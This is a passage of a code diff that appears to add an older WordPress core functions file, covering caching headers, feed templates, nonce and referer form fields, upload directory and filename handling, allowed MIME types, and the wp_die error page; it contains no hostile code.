for the different browsers. + * + * Different browsers support different nocache headers, so several headers must + * be sent so that all of them get the point that no caching should occur. + * + * @since 2.0.0 + * @uses wp_get_nocache_headers() + */ +function nocache_headers() { + $headers = wp_get_nocache_headers(); + foreach( (array) $headers as $name => $field_value ) + @header("{$name}: {$field_value}"); +} + +/** + * Set the headers for caching for 10 days with JavaScript content type. + * + * @since 2.1.0 + */ +function cache_javascript_headers() { + $expiresOffset = 864000; // 10 days + header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) ); + header( "Vary: Accept-Encoding" ); // Handle proxies + header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + $expiresOffset ) . " GMT" ); +} + +/** + * Retrieve the number of database queries during the WordPress execution. + * + * @since 2.0.0 + * + * @return int Number of database queries + */ +function get_num_queries() { + global $wpdb; + return $wpdb->num_queries; +} + +/** + * Whether input is yes or no. Must be 'y' to be true. + * + * @since 1.0.0 + * + * @param string $yn Character string containing either 'y' or 'n' + * @return bool True if yes, false on anything else + */ +function bool_from_yn( $yn ) { + return ( strtolower( $yn ) == 'y' ); +} + +/** + * Loads the feed template from the use of an action hook. + * + * If the feed action does not have a hook, then the function will die with a + * message telling the visitor that the feed is not valid. + * + * It is better to only have one hook for each feed. + * + * @since 2.1.0 + * @uses $wp_query Used to tell if the use a comment feed. + * @uses do_action() Calls 'do_feed_$feed' hook, if a hook exists for the feed. + */ +function do_feed() { + global $wp_query; + + $feed = get_query_var( 'feed' ); + + // Remove the pad, if present. + $feed = preg_replace( '/^_+/', '', $feed ); + + if ( $feed == '' || $feed == 'feed' ) + $feed = get_default_feed(); + + $hook = 'do_feed_' . $feed; + if ( !has_action($hook) ) { + $message = sprintf( __( 'ERROR: %s is not a valid feed template' ), esc_html($feed)); + wp_die($message); + } + + do_action( $hook, $wp_query->is_comment_feed ); +} + +/** + * Load the RDF RSS 0.91 Feed template. + * + * @since 2.1.0 + */ +function do_feed_rdf() { + load_template( ABSPATH . WPINC . '/feed-rdf.php' ); +} + +/** + * Load the RSS 1.0 Feed Template + * + * @since 2.1.0 + */ +function do_feed_rss() { + load_template( ABSPATH . WPINC . '/feed-rss.php' ); +} + +/** + * Load either the RSS2 comment feed or the RSS2 posts feed. + * + * @since 2.1.0 + * + * @param bool $for_comments True for the comment feed, false for normal feed. + */ +function do_feed_rss2( $for_comments ) { + if ( $for_comments ) + load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' ); + else + load_template( ABSPATH . WPINC . '/feed-rss2.php' ); +} + +/** + * Load either Atom comment feed or Atom posts feed. + * + * @since 2.1.0 + * + * @param bool $for_comments True for the comment feed, false for normal feed. + */ +function do_feed_atom( $for_comments ) { + if ($for_comments) + load_template( ABSPATH . WPINC . '/feed-atom-comments.php'); + else + load_template( ABSPATH . WPINC . '/feed-atom.php' ); +} + +/** + * Display the robot.txt file content. + * + * The echo content should be with usage of the permalinks or for creating the + * robot.txt file. + * + * @since 2.1.0 + * @uses do_action() Calls 'do_robotstxt' hook for displaying robot.txt rules. + */ +function do_robots() { + header( 'Content-Type: text/plain; charset=utf-8' ); + + do_action( 'do_robotstxt' ); + + if ( '0' == get_option( 'blog_public' ) ) { + echo "User-agent: *\n"; + echo "Disallow: /\n"; + } else { + echo "User-agent: *\n"; + echo "Disallow:\n"; + } +} + +/** + * Test whether blog is already installed. + * + * The cache will be checked first. If you have a cache plugin, which saves the + * cache values, then this will work. If you use the default WordPress cache, + * and the database goes away, then you might have problems. + * + * Checks for the option siteurl for whether WordPress is installed. + * + * @since 2.1.0 + * @uses $wpdb + * + * @return bool Whether blog is already installed. + */ +function is_blog_installed() { + global $wpdb; + + // Check cache first. If options table goes away and we have true cached, oh well. + if ( wp_cache_get( 'is_blog_installed' ) ) + return true; + + $suppress = $wpdb->suppress_errors(); + $alloptions = wp_load_alloptions(); + // If siteurl is not set to autoload, check it specifically + if ( !isset( $alloptions['siteurl'] ) ) + $installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" ); + else + $installed = $alloptions['siteurl']; + $wpdb->suppress_errors( $suppress ); + + $installed = !empty( $installed ); + wp_cache_set( 'is_blog_installed', $installed ); + + if ( $installed ) + return true; + + $suppress = $wpdb->suppress_errors(); + $tables = $wpdb->get_col('SHOW TABLES'); + $wpdb->suppress_errors( $suppress ); + + // Loop over the WP tables. If none exist, then scratch install is allowed. + // If one or more exist, suggest table repair since we got here because the options + // table could not be accessed. + foreach ($wpdb->tables as $table) { + // If one of the WP tables exist, then we are in an insane state. + if ( in_array($wpdb->prefix . $table, $tables) ) { + // If visiting repair.php, return true and let it take over. + if ( defined('WP_REPAIRING') ) + return true; + // Die with a DB error. + $wpdb->error = __('One or more database tables are unavailable. The database may need to be <a href="maint/repair.php?referrer=is_blog_installed">repaired</a>.'); + dead_db(); + } + } + + wp_cache_set( 'is_blog_installed', false ); + + return false; +} + +/** + * Retrieve URL with nonce added to URL query. + * + * @package WordPress + * @subpackage Security + * @since 2.0.4 + * + * @param string $actionurl URL to add nonce action + * @param string $action Optional. Nonce action name + * @return string URL with nonce action added. + */ +function wp_nonce_url( $actionurl, $action = -1 ) { + $actionurl = str_replace( '&', '&', $actionurl ); + return esc_html( add_query_arg( '_wpnonce', wp_create_nonce( $action ), $actionurl ) ); +} + +/** + * Retrieve or display nonce hidden field for forms. + * + * The nonce field is used to validate that the contents of the form came from + * the location on the current site and not somewhere else. The nonce does not + * offer absolute protection, but should protect against most cases. It is very + * important to use nonce field in forms. + * + * If you set $echo to true and set $referer to true, then you will need to + * retrieve the {@link wp_referer_field() wp referer field}. If you have the + * $referer set to true and are echoing the nonce field, it will also echo the + * referer field. + * + * The $action and $name are optional, but if you want to have better security, + * it is strongly suggested to set those two parameters. It is easier to just + * call the function without any parameters, because validation of the nonce + * doesn't require any parameters, but since crackers know what the default is + * it won't be difficult for them to find a way around your nonce and cause + * damage. + * + * The input name will be whatever $name value you gave. The input value will be + * the nonce creation value. + * + * @package WordPress + * @subpackage Security + * @since 2.0.4 + * + * @param string $action Optional. Action name. + * @param string $name Optional. Nonce name. + * @param bool $referer Optional, default true. Whether to set the referer field for validation. + * @param bool $echo Optional, default true. Whether to display or return hidden form field. + * @return string Nonce field. + */ +function wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true ) { + $name = esc_attr( $name ); + $nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />'; + if ( $echo ) + echo $nonce_field; + + if ( $referer ) + wp_referer_field( $echo, 'previous' ); + + return $nonce_field; +} + +/** + * Retrieve or display referer hidden field for forms. + * + * The referer link is the current Request URI from the server super global. The + * input name is '_wp_http_referer', in case you wanted to check manually. + * + * @package WordPress + * @subpackage Security + * @since 2.0.4 + * + * @param bool $echo Whether to echo or return the referer field. + * @return string Referer field. + */ +function wp_referer_field( $echo = true) { + $ref = esc_attr( $_SERVER['REQUEST_URI'] ); + $referer_field = '<input type="hidden" name="_wp_http_referer" value="'. $ref . '" />'; + + if ( $echo ) + echo $referer_field; + return $referer_field; +} + +/** + * Retrieve or display original referer hidden field for forms. + * + * The input name is '_wp_original_http_referer' and will be either the same + * value of {@link wp_referer_field()}, if that was posted already or it will + * be the current page, if it doesn't exist. + * + * @package WordPress + * @subpackage Security + * @since 2.0.4 + * + * @param bool $echo Whether to echo the original http referer + * @param string $jump_back_to Optional, default is 'current'. Can be 'previous' or page you want to jump back to. + * @return string Original referer field. + */ +function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) { + $jump_back_to = ( 'previous' == $jump_back_to ) ? wp_get_referer() : $_SERVER['REQUEST_URI']; + $ref = ( wp_get_original_referer() ) ? wp_get_original_referer() : $jump_back_to; + $orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( stripslashes( $ref ) ) . '" />'; + if ( $echo ) + echo $orig_referer_field; + return $orig_referer_field; +} + +/** + * Retrieve referer from '_wp_http_referer', HTTP referer, or current page respectively. + * + * @package WordPress + * @subpackage Security + * @since 2.0.4 + * + * @return string|bool False on failure. Referer URL on success. + */ +function wp_get_referer() { + $ref = ''; + if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) + $ref = $_REQUEST['_wp_http_referer']; + else if ( ! empty( $_SERVER['HTTP_REFERER'] ) ) + $ref = $_SERVER['HTTP_REFERER']; + + if ( $ref !== $_SERVER['REQUEST_URI'] ) + return $ref; + return false; +} + +/** + * Retrieve original referer that was posted, if it exists. + * + * @package WordPress + * @subpackage Security + * @since 2.0.4 + * + * @return string|bool False if no original referer or original referer if set. + */ +function wp_get_original_referer() { + if ( !empty( $_REQUEST['_wp_original_http_referer'] ) ) + return $_REQUEST['_wp_original_http_referer']; + return false; +} + +/** + * Recursive directory creation based on full path. + * + * Will attempt to set permissions on folders. + * + * @since 2.0.1 + * + * @param string $target Full path to attempt to create. + * @return bool Whether the path was created or not. True if path already exists. + */ +function wp_mkdir_p( $target ) { + // from php.net/mkdir user contributed notes + $target = str_replace( '//', '/', $target ); + if ( file_exists( $target ) ) + return @is_dir( $target ); + + // Attempting to create the directory may clutter up our display. + if ( @mkdir( $target ) ) { + $stat = @stat( dirname( $target ) ); + $dir_perms = $stat['mode'] & 0007777; // Get the permission bits. + @chmod( $target, $dir_perms ); + return true; + } elseif ( is_dir( dirname( $target ) ) ) { + return false; + } + + // If the above failed, attempt to create the parent node, then try again. + if ( ( $target != '/' ) && ( wp_mkdir_p( dirname( $target ) ) ) ) + return wp_mkdir_p( $target ); + + return false; +} + +/** + * Test if a give filesystem path is absolute ('/foo/bar', 'c:\windows'). + * + * @since 2.5.0 + * + * @param string $path File path + * @return bool True if path is absolute, false is not absolute. + */ +function path_is_absolute( $path ) { + // this is definitive if true but fails if $path does not exist or contains a symbolic link + if ( realpath($path) == $path ) + return true; + + if ( strlen($path) == 0 || $path{0} == '.' ) + return false; + + // windows allows absolute paths like this + if ( preg_match('#^[a-zA-Z]:\\\\#', $path) ) + return true; + + // a path starting with / or \ is absolute; anything else is relative + return (bool) preg_match('#^[/\\\\]#', $path); +} + +/** + * Join two filesystem paths together (e.g. 'give me $path relative to $base'). + * + * If the $path is absolute, then it the full path is returned. + * + * @since 2.5.0 + * + * @param string $base + * @param string $path + * @return string The path with the base or absolute path. + */ +function path_join( $base, $path ) { + if ( path_is_absolute($path) ) + return $path; + + return rtrim($base, '/') . '/' . ltrim($path, '/'); +} + +/** + * Get an array containing the current upload directory's path and url. + * + * Checks the 'upload_path' option, which should be from the web root folder, + * and if it isn't empty it will be used. If it is empty, then the path will be + * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will + * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path. + * + * The upload URL path is set either by the 'upload_url_path' option or by using + * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path. + * + * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in + * the administration settings panel), then the time will be used. The format + * will be year first and then month. + * + * If the path couldn't be created, then an error will be returned with the key + * 'error' containing the error message. The error suggests that the parent + * directory is not writable by the server. + * + * On success, the returned array will have many indices: + * 'path' - base directory and sub directory or full path to upload directory. + * 'url' - base url and sub directory or absolute URL to upload directory. + * 'subdir' - sub directory if uploads use year/month folders option is on. + * 'basedir' - path without subdir. + * 'baseurl' - URL path without subdir. + * 'error' - set to false. + * + * @since 2.0.0 + * @uses apply_filters() Calls 'upload_dir' on returned array. + * + * @param string $time Optional. Time formatted in 'yyyy/mm'. + * @return array See above for description. + */ +function wp_upload_dir( $time = null ) { + $siteurl = get_option( 'siteurl' ); + $upload_path = get_option( 'upload_path' ); + $upload_path = trim($upload_path); + if ( empty($upload_path) ) { + $dir = WP_CONTENT_DIR . '/uploads'; + } else { + $dir = $upload_path; + if ( 'wp-content/uploads' == $upload_path ) { + $dir = WP_CONTENT_DIR . '/uploads'; + } elseif ( 0 !== strpos($dir, ABSPATH) ) { + // $dir is absolute, $upload_path is (maybe) relative to ABSPATH + $dir = path_join( ABSPATH, $dir ); + } + } + + if ( !$url = get_option( 'upload_url_path' ) ) { + if ( empty($upload_path) || ( 'wp-content/uploads' == $upload_path ) || ( $upload_path == $dir ) ) + $url = WP_CONTENT_URL . '/uploads'; + else + $url = trailingslashit( $siteurl ) . $upload_path; + } + + if ( defined('UPLOADS') ) { + $dir = ABSPATH . UPLOADS; + $url = trailingslashit( $siteurl ) . UPLOADS; + } + + $bdir = $dir; + $burl = $url; + + $subdir = ''; + if ( get_option( 'uploads_use_yearmonth_folders' ) ) { + // Generate the yearly and monthly dirs + if ( !$time ) + $time = current_time( 'mysql' ); + $y = substr( $time, 0, 4 ); + $m = substr( $time, 5, 2 ); + $subdir = "/$y/$m"; + } + + $dir .= $subdir; + $url .= $subdir; + + $uploads = apply_filters( 'upload_dir', array( 'path' => $dir, 'url' => $url, 'subdir' => $subdir, 'basedir' => $bdir, 'baseurl' => $burl, 'error' => false ) ); + + // Make sure we have an uploads dir + if ( ! wp_mkdir_p( $uploads['path'] ) ) { + $message = sprintf( __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $uploads['path'] ); + return array( 'error' => $message ); + } + + return $uploads; +} + +/** + * Get a filename that is sanitized and unique for the given directory. + * + * If the filename is not unique, then a number will be added to the filename + * before the extension, and will continue adding numbers until the filename is + * unique. + * + * The callback must accept two parameters, the first one is the directory and + * the second is the filename. The callback must be a function. + * + * @since 2.5 + * + * @param string $dir + * @param string $filename + * @param string $unique_filename_callback Function name, must be a function. + * @return string New filename, if given wasn't unique. + */ +function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) { + // sanitize the file name before we begin processing + $filename = sanitize_file_name($filename); + + // separate the filename into a name and extension + $info = pathinfo($filename); + $ext = !empty($info['extension']) ? '.' . $info['extension'] : ''; + $name = basename($filename, $ext); + + // edge case: if file is named '.ext', treat as an empty name + if( $name === $ext ) + $name = ''; + + // Increment the file number until we have a unique file to save in $dir. Use $override['unique_filename_callback'] if supplied. + if ( $unique_filename_callback && function_exists( $unique_filename_callback ) ) { + $filename = $unique_filename_callback( $dir, $name ); + } else { + $number = ''; + + // change '.ext' to lower case + if ( $ext && strtolower($ext) != $ext ) { + $ext2 = strtolower($ext); + $filename2 = preg_replace( '|' . preg_quote($ext) . '$|', $ext2, $filename ); + + // check for both lower and upper case extension or image sub-sizes may be overwritten + while ( file_exists($dir . "/$filename") || file_exists($dir . "/$filename2") ) { + $new_number = $number + 1; + $filename = str_replace( "$number$ext", "$new_number$ext", $filename ); + $filename2 = str_replace( "$number$ext2", "$new_number$ext2", $filename2 ); + $number = $new_number; + } + return $filename2; + } + + while ( file_exists( $dir . "/$filename" ) ) { + if ( '' == "$number$ext" ) + $filename = $filename . ++$number . $ext; + else + $filename = str_replace( "$number$ext", ++$number . $ext, $filename ); + } + } + + return $filename; +} + +/** + * Create a file in the upload folder with given content. + * + * If there is an error, then the key 'error' will exist with the error message. + * If success, then the key 'file' will have the unique file path, the 'url' key + * will have the link to the new file. and the 'error' key will be set to false. + * + * This function will not move an uploaded file to the upload folder. It will + * create a new file with the content in $bits parameter. If you move the upload + * file, read the content of the uploaded file, and then you can give the + * filename and content to this function, which will add it to the upload + * folder. + * + * The permissions will be set on the new file automatically by this function. + * + * @since 2.0.0 + * + * @param string $name + * @param null $deprecated Not used. Set to null. + * @param mixed $bits File content + * @param string $time Optional. Time formatted in 'yyyy/mm'. + * @return array + */ +function wp_upload_bits( $name, $deprecated, $bits, $time = null ) { + if ( empty( $name ) ) + return array( 'error' => __( 'Empty filename' ) ); + + $wp_filetype = wp_check_filetype( $name ); + if ( !$wp_filetype['ext'] ) + return array( 'error' => __( 'Invalid file type' ) ); + + $upload = wp_upload_dir( $time ); + + if ( $upload['error'] !== false ) + return $upload; + + $filename = wp_unique_filename( $upload['path'], $name ); + + $new_file = $upload['path'] . "/$filename"; + if ( ! wp_mkdir_p( dirname( $new_file ) ) ) { + $message = sprintf( __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), dirname( $new_file ) ); + return array( 'error' => $message ); + } + + $ifp = @ fopen( $new_file, 'wb' ); + if ( ! $ifp ) + return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) ); + + @fwrite( $ifp, $bits ); + fclose( $ifp ); + // Set correct file permissions + $stat = @ stat( dirname( $new_file ) ); + $perms = $stat['mode'] & 0007777; + $perms = $perms & 0000666; + @ chmod( $new_file, $perms ); + + // Compute the URL + $url = $upload['url'] . "/$filename"; + + return array( 'file' => $new_file, 'url' => $url, 'error' => false ); +} + +/** + * Retrieve the file type based on the extension name. + * + * @package WordPress + * @since 2.5.0 + * @uses apply_filters() Calls 'ext2type' hook on default supported types. + * + * @param string $ext The extension to search. + * @return string|null The file type, example: audio, video, document, spreadsheet, etc. Null if not found. + */ +function wp_ext2type( $ext ) { + $ext2type = apply_filters('ext2type', array( + 'audio' => array('aac','ac3','aif','aiff','mp1','mp2','mp3','m3a','m4a','m4b','ogg','ram','wav','wma'), + 'video' => array('asf','avi','divx','dv','mov','mpg','mpeg','mp4','mpv','ogm','qt','rm','vob','wmv', 'm4v'), + 'document' => array('doc','docx','pages','odt','rtf','pdf'), + 'spreadsheet' => array('xls','xlsx','numbers','ods'), + 'interactive' => array('ppt','pptx','key','odp','swf'), + 'text' => array('txt'), + 'archive' => array('tar','bz2','gz','cab','dmg','rar','sea','sit','sqx','zip'), + 'code' => array('css','html','php','js'), + )); + foreach ( $ext2type as $type => $exts ) + if ( in_array($ext, $exts) ) + return $type; +} + +/** + * Retrieve the file type from the file name. + * + * You can optionally define the mime array, if needed. + * + * @since 2.0.4 + * + * @param string $filename File name or path. + * @param array $mimes Optional. Key is the file extension with value as the mime type. + * @return array Values with extension first and mime type. + */ +function wp_check_filetype( $filename, $mimes = null ) { + if ( empty($mimes) ) + $mimes = get_allowed_mime_types(); + $type = false; + $ext = false; + + foreach ( $mimes as $ext_preg => $mime_match ) { + $ext_preg = '!\.(' . $ext_preg . ')$!i'; + if ( preg_match( $ext_preg, $filename, $ext_matches ) ) { + $type = $mime_match; + $ext = $ext_matches[1]; + break; + } + } + + return compact( 'ext', 'type' ); +} + +/** + * Retrieve list of allowed mime types and file extensions. + * + * @since 2.8.6 + * + * @return array Array of mime types keyed by the file extension regex corresponding to those types. + */ +function get_allowed_mime_types() { + static $mimes = false; + + if ( !$mimes ) { + // Accepted MIME types are set here as PCRE unless provided. + $mimes = apply_filters( 'upload_mimes', array( + 'jpg|jpeg|jpe' => 'image/jpeg', + 'gif' => 'image/gif', + 'png' => 'image/png', + 'bmp' => 'image/bmp', + 'tif|tiff' => 'image/tiff', + 'ico' => 'image/x-icon', + 'asf|asx|wax|wmv|wmx' => 'video/asf', + 'avi' => 'video/avi', + 'divx' => 'video/divx', + 'flv' => 'video/x-flv', + 'mov|qt' => 'video/quicktime', + 'mpeg|mpg|mpe' => 'video/mpeg', + 'txt|c|cc|h' => 'text/plain', + 'rtx' => 'text/richtext', + 'css' => 'text/css', + 'htm|html' => 'text/html', + 'mp3|m4a' => 'audio/mpeg', + 'mp4|m4v' => 'video/mp4', + 'ra|ram' => 'audio/x-realaudio', + 'wav' => 'audio/wav', + 'ogg' => 'audio/ogg', + 'mid|midi' => 'audio/midi', + 'wma' => 'audio/wma', + 'rtf' => 'application/rtf', + 'js' => 'application/javascript', + 'pdf' => 'application/pdf', + 'doc|docx' => 'application/msword', + 'pot|pps|ppt|pptx' => 'application/vnd.ms-powerpoint', + 'wri' => 'application/vnd.ms-write', + 'xla|xls|xlsx|xlt|xlw' => 'application/vnd.ms-excel', + 'mdb' => 'application/vnd.ms-access', + 'mpp' => 'application/vnd.ms-project', + 'swf' => 'application/x-shockwave-flash', + 'class' => 'application/java', + 'tar' => 'application/x-tar', + 'zip' => 'application/zip', + 'gz|gzip' => 'application/x-gzip', + 'exe' => 'application/x-msdownload', + // openoffice formats + 'odt' => 'application/vnd.oasis.opendocument.text', + 'odp' => 'application/vnd.oasis.opendocument.presentation', + 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', + 'odg' => 'application/vnd.oasis.opendocument.graphics', + 'odc' => 'application/vnd.oasis.opendocument.chart', + 'odb' => 'application/vnd.oasis.opendocument.database', + 'odf' => 'application/vnd.oasis.opendocument.formula', + ) ); + } + + return $mimes; +} + +/** + * Retrieve nonce action "Are you sure" message. + * + * The action is split by verb and noun. The action format is as follows: + * verb-action_extra. The verb is before the first dash and has the format of + * letters and no spaces and numbers. The noun is after the dash and before the + * underscore, if an underscore exists. The noun is also only letters. + * + * The filter will be called for any action, which is not defined by WordPress. + * You may use the filter for your plugin to explain nonce actions to the user, + * when they get the "Are you sure?" message. The filter is in the format of + * 'explain_nonce_$verb-$noun' with the $verb replaced by the found verb and the + * $noun replaced by the found noun. The two parameters that are given to the + * hook are the localized "Are you sure you want to do this?" message with the + * extra text (the text after the underscore). + * + * @package WordPress + * @subpackage Security + * @since 2.0.4 + * + * @param string $action Nonce action. + * @return string Are you sure message. + */ +function wp_explain_nonce( $action ) { + if ( $action !== -1 && preg_match( '/([a-z]+)-([a-z]+)(_(.+))?/', $action, $matches ) ) { + $verb = $matches[1]; + $noun = $matches[2]; + + $trans = array(); + $trans['update']['attachment'] = array( __( 'Your attempt to edit this attachment: “%s” has failed.' ), 'get_the_title' ); + + $trans['add']['category'] = array( __( 'Your attempt to add this category has failed.' ), false ); + $trans['delete']['category'] = array( __( 'Your attempt to delete this category: “%s” has failed.' ), 'get_cat_name' ); + $trans['update']['category'] = array( __( 'Your attempt to edit this category: “%s” has failed.' ), 'get_cat_name' ); + + $trans['delete']['comment'] = array( __( 'Your attempt to delete this comment: “%s” has failed.' ), 'use_id' ); + $trans['unapprove']['comment'] = array( __( 'Your attempt to unapprove this comment: “%s” has failed.' ), 'use_id' ); + $trans['approve']['comment'] = array( __( 'Your attempt to approve this comment: “%s” has failed.' ), 'use_id' ); + $trans['update']['comment'] = array( __( 'Your attempt to edit this comment: “%s” has failed.' ), 'use_id' ); + $trans['bulk']['comments'] = array( __( 'Your attempt to bulk modify comments has failed.' ), false ); + $trans['moderate']['comments'] = array( __( 'Your attempt to moderate comments has failed.' ), false ); + + $trans['add']['bookmark'] = array( __( 'Your attempt to add this link has failed.' ), false ); + $trans['delete']['bookmark'] = array( __( 'Your attempt to delete this link: “%s” has failed.' ), 'use_id' ); + $trans['update']['bookmark'] = array( __( 'Your attempt to edit this link: “%s” has failed.' ), 'use_id' ); + $trans['bulk']['bookmarks'] = array( __( 'Your attempt to bulk modify links has failed.' ), false ); + + $trans['add']['page'] = array( __( 'Your attempt to add this page has failed.' ), false ); + $trans['delete']['page'] = array( __( 'Your attempt to delete this page: “%s” has failed.' ), 'get_the_title' ); + $trans['update']['page'] = array( __( 'Your attempt to edit this page: “%s” has failed.' ), 'get_the_title' ); + + $trans['edit']['plugin'] = array( __( 'Your attempt to edit this plugin file: “%s” has failed.' ), 'use_id' ); + $trans['activate']['plugin'] = array( __( 'Your attempt to activate this plugin: “%s” has failed.' ), 'use_id' ); + $trans['deactivate']['plugin'] = array( __( 'Your attempt to deactivate this plugin: “%s” has failed.' ), 'use_id' ); + $trans['upgrade']['plugin'] = array( __( 'Your attempt to upgrade this plugin: “%s” has failed.' ), 'use_id' ); + + $trans['add']['post'] = array( __( 'Your attempt to add this post has failed.' ), false ); + $trans['delete']['post'] = array( __( 'Your attempt to delete this post: “%s” has failed.' ), 'get_the_title' ); + $trans['update']['post'] = array( __( 'Your attempt to edit this post: “%s” has failed.' ), 'get_the_title' ); + + $trans['add']['user'] = array( __( 'Your attempt to add this user has failed.' ), false ); + $trans['delete']['users'] = array( __( 'Your attempt to delete users has failed.' ), false ); + $trans['bulk']['users'] = array( __( 'Your attempt to bulk modify users has failed.' ), false ); + $trans['update']['user'] = array( __( 'Your attempt to edit this user: “%s” has failed.' ), 'get_the_author_meta', 'display_name' ); + $trans['update']['profile'] = array( __( 'Your attempt to modify the profile for: “%s” has failed.' ), 'get_the_author_meta', 'display_name' ); + + $trans['update']['options'] = array( __( 'Your attempt to edit your settings has failed.' ), false ); + $trans['update']['permalink'] = array( __( 'Your attempt to change your permalink structure to: %s has failed.' ), 'use_id' ); + $trans['edit']['file'] = array( __( 'Your attempt to edit this file: “%s” has failed.' ), 'use_id' ); + $trans['edit']['theme'] = array( __( 'Your attempt to edit this theme file: “%s” has failed.' ), 'use_id' ); + $trans['switch']['theme'] = array( __( 'Your attempt to switch to this theme: “%s” has failed.' ), 'use_id' ); + + $trans['log']['out'] = array( sprintf( __( 'You are attempting to log out of %s' ), get_bloginfo( 'sitename' ) ), false ); + + if ( isset( $trans[$verb][$noun] ) ) { + if ( !empty( $trans[$verb][$noun][1] ) ) { + $lookup = $trans[$verb][$noun][1]; + if ( isset($trans[$verb][$noun][2]) ) + $lookup_value = $trans[$verb][$noun][2]; + $object = $matches[4]; + if ( 'use_id' != $lookup ) { + if ( isset( $lookup_value ) ) + $object = call_user_func( $lookup, $lookup_value, $object ); + else + $object = call_user_func( $lookup, $object ); + } + return sprintf( $trans[$verb][$noun][0], esc_html($object) ); + } else { + return $trans[$verb][$noun][0]; + } + } + + return apply_filters( 'explain_nonce_' . $verb . '-' . $noun, __( 'Are you sure you want to do this?' ), isset($matches[4]) ? $matches[4] : '' ); + } else { + return apply_filters( 'explain_nonce_' . $action, __( 'Are you sure you want to do this?' ) ); + } +} + +/** + * Display "Are You Sure" message to confirm the action being taken. + * + * If the action has the nonce explain message, then it will be displayed along + * with the "Are you sure?" message. + * + * @package WordPress + * @subpackage Security + * @since 2.0.4 + * + * @param string $action The nonce action. + */ +function wp_nonce_ays( $action ) { + $title = __( 'WordPress Failure Notice' ); + $html = esc_html( wp_explain_nonce( $action ) ); + if ( 'log-out' == $action ) + $html .= "</p><p>" . sprintf( __( "Do you really want to <a href='%s'>log out</a>?"), wp_logout_url() ); + elseif ( wp_get_referer() ) + $html .= "</p><p><a href='" . esc_url( remove_query_arg( 'updated', wp_get_referer() ) ) . "'>" . __( 'Please try again.' ) . "</a>"; + + wp_die( $html, $title, array('response' => 403) ); +} + +/** + * Kill WordPress execution and display HTML message with error message. + * + * Call this function complements the die() PHP function. The difference is that + * HTML will be displayed to the user. It is recommended to use this function + * only, when the execution should not continue any further. It is not + * recommended to call this function very often and try to handle as many errors + * as possible siliently. + * + * @since 2.0.4 + * + * @param string $message Error message. + * @param string $title Error title. + * @param string|array $args Optional arguements to control behaviour. + */ +function wp_die( $message, $title = '', $args = array() ) { + global $wp_locale; + + $defaults = array( 'response' => 500 ); + $r = wp_parse_args($args, $defaults); + + $have_gettext = function_exists('__'); + + if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) { + if ( empty( $title ) ) { + $error_data = $message->get_error_data(); + if ( is_array( $error_data ) && isset( $error_data['title'] ) ) + $title = $error_data['title']; + } + $errors = $message->get_error_messages(); + switch ( count( $errors ) ) : + case 0 : + $message = ''; + break; + case 1 : + $message = "<p>{$errors[0]}</p>"; + break; + default : + $message = "<ul>\n\t\t<li>" . join( "</li>\n\t\t<li>", $errors ) . "</li>\n\t</ul>"; + break; + endswitch; + } elseif ( is_string( $message ) ) { + $message = "<p>$message</p>"; + } + + if ( isset( $r['back_link'] ) && $r['back_link'] ) { + $back_text = $have_gettext? __('« Back') : '« Back'; + $message .= "\n<p><a href='javascript:history.back()'>$back_text</p>"; + } + + if ( defined( 'WP_SITEURL' ) && '' != WP_SITEURL ) + $admin_dir = WP_SITEURL . '/wp-admin/'; + elseif ( function_exists( 'get_bloginfo' ) && '' != get_bloginfo( 'wpurl' ) ) + $admin_dir = get_bloginfo( 'wpurl' ) . '/wp-admin/'; + elseif ( strpos( $_SERVER['PHP_SELF'], 'wp-admin' ) !== false ) + $admin_dir = ''; + else + $admin_dir = 'wp-admin/'; + + if ( !function_exists( 'did_action' ) || !did_action( 'admin_head' ) ) : + if( !headers_sent() ){ + status_header( $r['response'] ); + nocache_headers(); + header( 'Content-Type: text/html; charset=utf-8' ); + } + + if ( empty($title) ) { + $title = $have_gettext? __('WordPress › Error') : 'WordPress › Error'; + } + + $text_direction = 'ltr'; + if ( isset($r['text_direction']) && $r['text_direction'] == 'rtl' ) $text_direction = 'rtl'; + if ( ( $wp_locale ) && ( 'rtl' == $wp_locale->text_direction ) ) $text_direction = 'rtl'; +?> +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> +<!-- Ticket #11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono --> +<html xmlns="http://www.w3.org/1999/xhtml" <?php if ( function_exists( 'language_attributes' ) ) language_attributes(); ?>> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> + <title><?php echo $title ?> + + + + + + + + + + +text_direction ) { + $input['directionality'] = 'rtl'; + $input['plugins'] .= ',directionality'; + 